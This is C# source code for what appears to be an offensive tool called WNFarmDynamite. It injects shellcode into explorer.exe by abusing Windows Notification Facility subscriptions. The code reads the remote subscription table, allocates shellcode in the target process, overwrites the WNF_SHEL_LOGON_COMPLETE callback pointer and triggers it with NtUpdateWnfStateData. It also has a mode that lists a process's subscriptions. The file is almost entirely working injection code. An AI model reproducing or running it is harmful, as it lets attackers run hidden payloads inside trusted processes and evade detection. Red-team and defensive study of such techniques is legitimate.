static void Main(string[] args)
        {
            // Print banner
            WNFarmDynamite_h.PrintBanner();

            // Validate args
            if (args.Length == 0)
            {
                Console.WriteLine("\n[!] No arguments given..\n", Color.Red);
                Console.WriteLine("    => -l(--ListWNF) PID    ->    List", Color.LightGreen);
                Console.WriteLine("    => -i(--Inject)         ->    Inject", Color.LightGreen);
            }
            else
            {
                int ListWnf   = Array.FindIndex(args, s => new Regex(@"(?i)(-|--|/)(l|ListWNF)$").Match(s).Success);
                int InjectWnf = Array.FindIndex(args, s => new Regex(@"(?i)(-|--|/)(i|Inject)$").Match(s).Success);

                if (ListWnf == -1 && InjectWnf == -1)
                {
                    Console.WriteLine("[!] Invalid arguments given..", Color.Red);
                }
                else
                {
                    if (ListWnf != -1)
                    {
                        try
                        {
                            UInt32 Proc = uint.Parse(args[(ListWnf + 1)]);
                            WnfGetSubscriptionTable(Proc);
                        }
                        catch
                        {
                            Console.WriteLine("[!] Missing PID value..", Color.Red);
                            return;
                        }
                    }
                    else
                    {
                        WnfInjectSc();
                    }
                }
            }
        }
        public static void WnfInjectSc()
        {
            // Find main explorer proc
            int ProcId = WNFarmDynamite_h.FindExplorerPID();

            if (ProcId == 0)
            {
                Console.WriteLine("[!] Unable to find explorer process..", Color.Red);
            }

            // Validate the process ID
            WNFarmDynamite_h.PROC_VALIDATION pv = WNFarmDynamite_h.ValidateProc((Int32)ProcId);
            Console.WriteLine("[+] Validating Process..", Color.LightGreen);

            if (!pv.isvalid || pv.isWow64 || pv.hProc == IntPtr.Zero)
            {
                Console.WriteLine("[!] Unable to get explorer handle..", Color.Red);
                return;
            }

            // Validation success
            Console.WriteLineFormatted("{0} {4}{1} " + ProcId + "{3} {5}{1} " + pv.sName, Color.White, WNFarmDynamite_h.cProps);
            Console.WriteLineFormatted("    {2} {6}{1} " + pv.hProc + "{3} {7}{1} x64", Color.White, WNFarmDynamite_h.cProps);

            // Look for _WNF_SUBSCRIPTION_TABLE
            Console.WriteLine("\n[+] Leaking local WNF_SUBSCRIPTION_TABLE..", Color.LightGreen);
            WNFarmDynamite_h.WNF_SUBTBL_LEAK WnfTableRVA = WNFarmDynamite_h.LeakWNFSubtRVA();
            if (WnfTableRVA.pNtdll == IntPtr.Zero)
            {
                Console.WriteLine("[!] Unable to locate Ntdll RVA..", Color.Red);
                return;
            }
            Console.WriteLineFormatted("{0} {8}{1} " + "0x" + String.Format("{0:X}", (WnfTableRVA.pNtdll).ToInt64()) + "{3} {9}{1} " + WnfTableRVA.iNtdllRVA, Color.White, WNFarmDynamite_h.cProps);

            // Read _WNF_SUBSCRIPTION_TABLE in remote proc
            Console.WriteLine("\n[+] Remote WNF_SUBSCRIPTION_TABLE lookup..", Color.LightGreen);
            WNFarmDynamite_h.REMOTE_WNF_SUBTBL rws = WNFarmDynamite_h.VerifyRemoteSubTable((uint)ProcId, pv.hProc, WnfTableRVA.iNtdllRVA);
            if (rws.pNtBase == IntPtr.Zero || rws.pRemoteTbl == IntPtr.Zero || rws.bHasTable == false)
            {
                if (rws.pNtBase == IntPtr.Zero)
                {
                    Console.WriteLine("[!] Unable to get remote Ntdll base..", Color.Red);
                }
                else if (rws.pRemoteTbl == IntPtr.Zero)
                {
                    Console.WriteLine("[!] Unable to read remote table pointer..", Color.Red);
                }
                else
                {
                    Console.WriteLine("[!] Remote process does not have a WNF Subscription table..", Color.Red);
                }
                return;
            }
            Console.WriteLineFormatted("{0} {10}{1} " + "0x" + String.Format("{0:X}", (rws.pNtBase).ToInt64()) + "{3} {11}{1} " + "0x" + String.Format("{0:X}", (rws.pRemoteTbl).ToInt64()), Color.White, WNFarmDynamite_h.cProps);
            Console.WriteLineFormatted("    {2} {12}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Flink).ToInt64()) + "{3} {13}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Blink).ToInt64()), Color.White, WNFarmDynamite_h.cProps);

            // Read process subscriptions
            Console.WriteLine("\n[+] Finding remote subscription -> WNF_SHEL_LOGON_COMPLETE", Color.LightGreen);
            WNFarmDynamite_h.WNF_SUBSCRIPTION_SET        WnfInjectTarget = new WNFarmDynamite_h.WNF_SUBSCRIPTION_SET();
            List <WNFarmDynamite_h.WNF_SUBSCRIPTION_SET> wss             = WNFarmDynamite_h.ReadWnfSubscriptions(pv.hProc, rws.sSubTbl.NamesTableEntry.Flink, rws.sSubTbl.NamesTableEntry.Blink);

            if (wss.Count > 0)
            {
                foreach (WNFarmDynamite_h.WNF_SUBSCRIPTION_SET Subscription in wss)
                {
                    if (Subscription.StateName == "WNF_SHEL_LOGON_COMPLETE")
                    {
                        WnfInjectTarget = Subscription;
                        Console.WriteLineFormatted("{0} {14}{1} " + "0x" + String.Format("{0:X}", Subscription.SubscriptionId) + "{3} {15}{1} " + Subscription.StateName, Color.White, WNFarmDynamite_h.cProps);
                        foreach (WNFarmDynamite_h.WNF_USER_SET wus in Subscription.UserSubs)
                        {
                            Console.WriteLineFormatted("    {2} {16}{1} " + "0x" + String.Format("{0:X}", (wus.UserSubscription).ToInt64()), Color.White, WNFarmDynamite_h.cProps);
                            Console.WriteLineFormatted("    {2} {17}{1} " + "0x" + String.Format("{0:X}", (wus.CallBack).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.CallBack), Color.White, WNFarmDynamite_h.cProps);
                            Console.WriteLineFormatted("    {2} {18}{1} " + "0x" + String.Format("{0:X}", (wus.Context).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.Context) + "\n", Color.White, WNFarmDynamite_h.cProps);
                        }
                    }
                }
            }
            else
            {
                Console.WriteLine("[!] Unable to list WNF subscriptions..", Color.Red);
                return;
            }

            // Alloc our payload
            Console.WriteLine("[+] Allocating remote shellcode..", Color.LightGreen);
            WNFarmDynamite_h.SC_ALLOC Payload = WNFarmDynamite_h.RemoteScAlloc(pv.hProc);
            if (Payload.pRemote == IntPtr.Zero)
            {
                Console.WriteLine("[!] Unable to alloc shellcode in remote process..", Color.Red);
                return;
            }
            Console.WriteLineFormatted("{0} {20}{1} " + Payload.Size, Color.White, WNFarmDynamite_h.cProps);
            Console.WriteLineFormatted("{0} {21}{1} " + "0x" + String.Format("{0:X}", (Payload.pRemote).ToInt64()), Color.White, WNFarmDynamite_h.cProps);

            // Rewrite Callback pointer
            Console.WriteLine("\n[+] Rewriting WNF subscription callback pointer..", Color.LightGreen);
            WNFarmDynamite_h.RewriteSubscriptionPointer(pv.hProc, WnfInjectTarget, Payload.pRemote, false);
            Console.WriteLine("[+] NtUpdateWnfStateData -> Trigger shellcode", Color.LightGreen);
            WNFarmDynamite_h.UpdateWnfState();
            Console.WriteLine("[+] Restoring WNF subscription callback pointer & deallocating shellcode..", Color.LightGreen);
            WNFarmDynamite_h.RewriteSubscriptionPointer(pv.hProc, WnfInjectTarget, Payload.pRemote, true);
        }
        public static void WnfGetSubscriptionTable(UInt32 ProcId)
        {
            // Validate the process ID
            WNFarmDynamite_h.PROC_VALIDATION pv = WNFarmDynamite_h.ValidateProc((Int32)ProcId);
            Console.WriteLine("[+] Validating Process..", Color.LightGreen);

            // Not what we are looking for
            if (!pv.isvalid || pv.isWow64 || pv.hProc == IntPtr.Zero)
            {
                if (!pv.isvalid)
                {
                    Console.WriteLine("[!] Invalid PID specified..", Color.Red);
                }
                else if (pv.isWow64)
                {
                    Console.WriteLine("[!] Only x64 processes are supported..", Color.Red);
                }
                else
                {
                    Console.WriteLine("[!] Unable to aquire process handle..", Color.Red);
                }
                return;
            }

            // Validation success
            Console.WriteLineFormatted("{0} {4}{1} " + ProcId + "{3} {5}{1} " + pv.sName, Color.White, WNFarmDynamite_h.cProps);
            Console.WriteLineFormatted("    {2} {6}{1} " + pv.hProc + "{3} {7}{1} x64", Color.White, WNFarmDynamite_h.cProps);

            // Look for _WNF_SUBSCRIPTION_TABLE
            Console.WriteLine("\n[+] Leaking local WNF_SUBSCRIPTION_TABLE..", Color.LightGreen);
            WNFarmDynamite_h.WNF_SUBTBL_LEAK WnfTableRVA = WNFarmDynamite_h.LeakWNFSubtRVA();
            if (WnfTableRVA.pNtdll == IntPtr.Zero)
            {
                Console.WriteLine("[!] Unable to locate Ntdll RVA..", Color.Red);
                return;
            }
            Console.WriteLineFormatted("{0} {8}{1} " + "0x" + String.Format("{0:X}", (WnfTableRVA.pNtdll).ToInt64()) + "{3} {9}{1} " + WnfTableRVA.iNtdllRVA, Color.White, WNFarmDynamite_h.cProps);

            // Read _WNF_SUBSCRIPTION_TABLE in remote proc
            Console.WriteLine("\n[+] Remote WNF_SUBSCRIPTION_TABLE lookup..", Color.LightGreen);
            WNFarmDynamite_h.REMOTE_WNF_SUBTBL rws = WNFarmDynamite_h.VerifyRemoteSubTable(ProcId, pv.hProc, WnfTableRVA.iNtdllRVA);
            if (rws.pNtBase == IntPtr.Zero || rws.pRemoteTbl == IntPtr.Zero || rws.bHasTable == false)
            {
                if (rws.pNtBase == IntPtr.Zero)
                {
                    Console.WriteLine("[!] Unable to get remote Ntdll base..", Color.Red);
                }
                else if (rws.pRemoteTbl == IntPtr.Zero)
                {
                    Console.WriteLine("[!] Unable to read remote table pointer..", Color.Red);
                }
                else
                {
                    Console.WriteLine("[!] Remote process does not have a WNF Subscription table..", Color.Red);
                }
                return;
            }
            Console.WriteLineFormatted("{0} {10}{1} " + "0x" + String.Format("{0:X}", (rws.pNtBase).ToInt64()) + "{3} {11}{1} " + "0x" + String.Format("{0:X}", (rws.pRemoteTbl).ToInt64()), Color.White, WNFarmDynamite_h.cProps);
            Console.WriteLineFormatted("    {2} {12}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Flink).ToInt64()) + "{3} {13}{1} " + "0x" + String.Format("{0:X}", (rws.sSubTbl.NamesTableEntry.Blink).ToInt64()), Color.White, WNFarmDynamite_h.cProps);

            // Read process subscriptions
            Console.WriteLine("\n[+] Reading remote WNF subscriptions..", Color.LightGreen);
            List <WNFarmDynamite_h.WNF_SUBSCRIPTION_SET> wss = WNFarmDynamite_h.ReadWnfSubscriptions(pv.hProc, rws.sSubTbl.NamesTableEntry.Flink, rws.sSubTbl.NamesTableEntry.Blink);

            if (wss.Count > 0)
            {
                foreach (WNFarmDynamite_h.WNF_SUBSCRIPTION_SET Subscription in wss)
                {
                    Console.WriteLineFormatted("{0} {14}{1} " + "0x" + String.Format("{0:X}", Subscription.SubscriptionId) + "{3} {15}{1} " + Subscription.StateName, Color.White, WNFarmDynamite_h.cProps);
                    foreach (WNFarmDynamite_h.WNF_USER_SET wus in Subscription.UserSubs)
                    {
                        Console.WriteLineFormatted("    {2} {16}{1} " + "0x" + String.Format("{0:X}", (wus.UserSubscription).ToInt64()), Color.White, WNFarmDynamite_h.cProps);
                        Console.WriteLineFormatted("    {2} {17}{1} " + "0x" + String.Format("{0:X}", (wus.CallBack).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.CallBack), Color.White, WNFarmDynamite_h.cProps);
                        Console.WriteLineFormatted("    {2} {18}{1} " + "0x" + String.Format("{0:X}", (wus.Context).ToInt64()) + " {19} " + WNFarmDynamite_h.GetSymForPtr(pv.hProc, wus.Context) + "\n", Color.White, WNFarmDynamite_h.cProps);
                    }
                }
            }
            else
            {
                Console.WriteLine("[!] No WNF subscriptions identified..", Color.Red);
            }
        }